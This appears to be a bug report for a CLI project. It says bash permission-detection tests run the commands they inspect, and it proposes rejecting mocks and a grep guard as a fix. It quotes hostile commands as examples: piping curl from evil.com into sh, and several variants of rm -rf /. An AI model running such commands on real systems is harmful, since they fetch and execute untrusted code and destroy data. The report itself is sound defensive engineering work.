Tests execute dangerous commands (curl evil.com | sh, rm -rf /) during permission checks #207

Problem

The bash permission-detection tests in packages/cli/test/tool/bash.test.ts execute the commands they inspect. Their ask mock records the permission request and then resolves, so bash.execute goes on to run the command. On every test run, locally and in CI, this executes:

• sh -c 'curl evil.com | sh': downloads content from a real third-party domain and pipes it into a shell;
• bash -c 'rm -rf /', bash -c'rm -rf /', echo $(rm -rf /), and a heredoc that runs rm -rf /. Today these are stopped only by GNU rm's default --preserve-root.

The curl call is also why "detects commands in sh -c string argument" times out. It now fails main's CI consistently (#201, #200).

Fix

• In every test that only checks which permission patterns are requested, the ask mock records the request and then rejects, e.g. throws PermissionNext.RejectedError or a test sentinel. Each test asserts that execute rejects and that no command ran. Use a marker file or a spy on the spawn path to prove the command never executes.
• Audit the rest of the test suite for the same pattern: any test that passes dangerous or network commands to a real executor.
• Replace evil.com with a reserved name such as example.invalid (RFC 2606), so even an accidental run cannot reach a real host.

Acceptance

• No test in the suite executes rm -rf, curl or wget against a real path or host. A grep-based guard test enforces this.
• bun test test/tool/bash.test.ts passes with networking disabled, and in under 10 s.
• CI verify is green on main again.